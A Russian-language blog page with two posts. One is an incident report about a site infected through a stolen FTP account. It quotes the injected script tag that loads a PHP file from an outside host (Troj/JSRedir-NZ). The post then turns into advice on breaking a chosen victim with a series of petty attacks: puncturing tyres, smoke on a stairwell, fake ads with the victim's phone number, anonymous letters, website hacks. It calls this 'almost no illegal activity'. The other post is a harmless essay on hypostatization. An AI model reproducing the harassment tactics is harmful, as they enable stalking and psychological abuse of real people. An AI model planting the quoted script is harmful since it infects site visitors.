Бэкмология – это практика всесторонней комплексной поддержки рационального поведения. В ее состав входят модели, свод знаний, сбалансированный инструментарий поддержки принятия и реализации решений и объединяющая их методология.

Бэкмология включает пособие «Создание решений для деловых проблем», которое описывает строгий, детализированный и очень человечный процесс решения неструктурированных деловых проблем, и пособие «Защита собственной психики» – полное руководство по приемам психологического воздействия (атака, давление, манипуляция, обман, блеф, зомбирование и др.) и техникам эффективной защиты от него. Также Бэкмология представлена методиками рациоконтроллинга и психоконтроллинга.


Те, у кого есть свой бизнес, могут начать знакомство с Бэкмологией с сессии «Улучшение продаж». Это честная профессиональная работа, ориентированная на результат.


вторник, 14 июля 2015 г.

Как лучше насолить своему врагу



Некоторое время назад наш сайт becmology.ru подвергся хакерской атаке. Все страницы получили вставку в виде кода типа:

<!--e8b49b--><script type="text/javascript" src="http://adonis-body.com/products_pictures/ymbpy42q.php?id=7614938"></script><!--/e8b49b-->

Это вредоносный вирус под названием Troj/JSRedir-NZ.

Из анализа логов (журналов) веб-сервера мы заметили, что взлом и заражение вирусом Troj/JSRedir-NZ происзошло через скомпрометированный FTP аккаунт.

Как происходит взлом и заражение сайта? Администратор сайта, вебмастер или привлеченный фрилансер не задумывается о том, что FTP-доступы могут быть легко перехвачены хакерами при работе в открытых сетях или при использовании незащищенного интернет-соединения (в кафе, метро, в парках, в гостиницах и пр.), что компьютер может быть заражен троянской программой, которая «слушает» подключение по 21 порту и перехватывает доступы, так как они передаются в открытом виде. Также есть вариант троянца, который вытаскивает логин/пароль непосредственно из настроек FTP-клиента, где их сохраняет администратор (ведь это удобно!) Далее перехваченные доступы FTP передаются на управляющий сервер, и уже с другого хоста выполняется подключение по FTP, выгрузка файлов, внедрение в них вирусного кода, а затем загрузка обратно на сайт. Операции могут выполняться ежедневно в различное время. В какие-то моменты времени вредоносный код удаляется из файлов, поэтому при анализе можно его не обнаружить. А на следующий день снова добавляться.

Можно сказать, ничего страшного не произошло. Мы почистили сайт, сменили пароль FTP-клиента – вся операция по времени заняла полдня. Правда, уведомление о вредоносности нашего сайта на поисковых сервисах типа Яндекс висело несколько дней. В течение этих дней серферы сети на наш сайт заходить боялись – опасались, что зараза перекинется на их клиентские устройства.

Если бы сайт являлся для нас критической точкой бизнеса, мы понесли бы немалые материальные и моральные потери. Но поскольку сайт для нас – лишь второстепенный информационный сервис, его взлом «обедню» нам почти не испортил. Было лишь потеряно несколько рабочих часов на восстановление резервной копии и смену пароля.

Какой урок из данной ситуации можно извлечь?

Если не брать в расчет соображения необходимости усиления безопасности, то, казалось бы, почти никакой. Но постойте!

Атака на малоприметные сайты рядовых граждан – явление вообще-то неординарное. Как правило, атакуют популярные сайты, влияющие на умы народных масс. Штатные администраторы этих сайтов к различным атакам во всеоружии готовы, и отражение любой атаки происходит оперативно и практически всегда успешно. Разве что сайт «зависает» на несколько часов. Для ординарных сайтов штатных администраторов не держат, постоянного мониторинга активности на сайте не производят. Взлом здесь рассматривается как событие неприятное, но маловероятное.

Однако всякая неприятная неожиданность действует на нервы. Чем больше таких неожиданностей, тем более дерганным, неуравновешенным становится человек, которого эти события непосредственно касаются.

Чтобы окончательно вывести человека из себя достаточно устроить ему серию маленьких неприятных неожиданностей. Чтобы жизнь любого индивида превратилась в настоящий ад, достаточно через день устраивать ему маленькие пакости: проколоть колесо, устроить задымление на лестничной площадке, случайно облить постным маслом в магазине, дать «горячее» объявление в газете с номером телефона жертвы, написать анонимку и т.д.

Атака не веб-сайт – это лишь одно из звеньев в длинной череде бытовых неприятностей, которые должны массированно обрушиться на выбранную жертву. Ни одна психика перед таким напором не устоит. И главное – почти никакой противозаконной деятельности!


пятница, 3 июля 2015 г.

Опредмечивание, распредмечивание и гипостазирование

Опредмечивание – это воплощение своего идеального (духовного, внутреннего, субъективного) в каком-либо предмете, тексте, философской системе художественном произведении и т. д. На любой из этих объектов как бы наслаиваются смыслы, символы, ценности, цели, интересы, нормы, чувства людей.

Распредмечивание – это вычленение в объекте идеального (духовного, внутреннего) и перевод его в свою субъективную реальность. Примером может быть чтение книги, просмотр кинофильма, наслаждение природой и т. д.

Существует хорошо нам знакомый вид деформации сознания, который обозначается малоизвестным словом гипостазирование: синонимы опредмечивание и овеществление. В словаре читаем: "Гипостазирование (греч. hypostasis – сущность, субстанция) – присущее идеализму приписывание абстрактным понятиям самостоятельного, реального, предметного существования. В другом смысле – возведение в ранг самостоятельно существующего объекта (субстанции) того, что в действительности является лишь свойством, отношением чего-либо".


Гипостазирование – один из ключевых механизмов работы нашего интеллекта, сопровождающейся, однако, целым рядом ошибок в мышлении и общении людей. Суть в том, что наше мышление настроено обращаться даже, например, с такими сугубо абстрактными понятиями (диалектическими категориями), как время и пространство, теми же интеллектуальными способами, какими мы взаимодействуем с внешними предметами, используя или преобразуя их для своих целей. Собственно, в результате такого внешне проявленного действия и сформировались механизмы мышления, включая опредмечивание или овеществление всего, что попадает в сферу умственной работы и представлений у людей.

Простейший пример. Допустим, вас попросили пойти и взять вилку с кухонного стола. Казалось бы, это действие происходит непосредственно во внешнем мире. Но в действительности, вы на какое-то мгновение совершаете упреждающее действие с опредмеченным (гипостазированным) представление вилки в своем уме. Более отчетливо работу механизма гипостазирования или овеществления вы можете проследить при попытках бросить мяч или другой предмет точно в намеченную цель. Для этого вам сначала придется опредмечивать в уме всю проблемную ситуацию, соизмеряя с целью в своих воображении и внутренних ощущениях направление и силу броска.

Для абстрактных понятий и представлений привести столь же понятные примеры их опредмечивания сложнее – операции гипостазирования или овеществления как бы скрыты, замаскированы в самом механизме мышления, – но это опредмечивание происходит в каждое мгновение развития мысли и приводит порой, к немалым недоразумениям и искажениям информации в общении людей, в особенности при передачи информации от теоретиков науки в сферу восприятия (тезаурус) обычных людей.

Гипостазирование, пожалуй, – это наиболее интересная и, в общем-то, нередкая логическая (семантическая) ошибка.

Гипостазирование имеет место, когда, например, предполагается, что понятию «лошадь», помимо отдельных лошадей, соответствует особый предмет — «лошадь как таковая», имеющий только общие признаки всех лошадей, но не специфические — гнедая, каурая, иноходец, рысак и т.д.

Немецкий писатель Й.Гебель написал рассказ-притчу «Каннитферштан», на тему которой русский поэт В.Жуковский создал стихотворную балладу. В рассказе говорится о немецком ремесленнике, приехавшем в Голландию и не знавшем языка этой страны. Кого он ни пытался спросить о чем-либо, все отвечали одно и то же: «Каннитферштан». В конце концов ремесленник вообразил себе всесильное и злое существо с таким именем и решил, что страх перед этим существом мешает всем говорить. По-голландски же «Каннитферштан» означает «не понимаю».

За внешней незатейливостью этого рассказа есть другой план: Всему, что названо каким-то именем или просто каким-то словом, напоминающим имя, приписывается обычно существование. Даже слово «ничто» представляется в виде какого-то особого предмета. Откуда эта постоянная тенденция к объективизации имён, к отыскиванию среди существующих вещей особого объекта для каждого имени? Так ведь можно дойти до поисков «лошади вообще» или даже захотеть увидеть «несуществующий предмет».


Гипостазирование связано с абстрактными именами. Эту ошибку допускает, например, тот, кто считает, что кроме здоровых и больных существ есть ещё такие объекты, как «здоровье», «болезнь» и «выздоровление». В «Оливере Твисте» Ч.Диккенса мистер Банби говорит: «Закон осел, потому что он никогда не спит». В этом сведении разнородных вещей к одной плоскости также можно усмотреть Гипостазирование.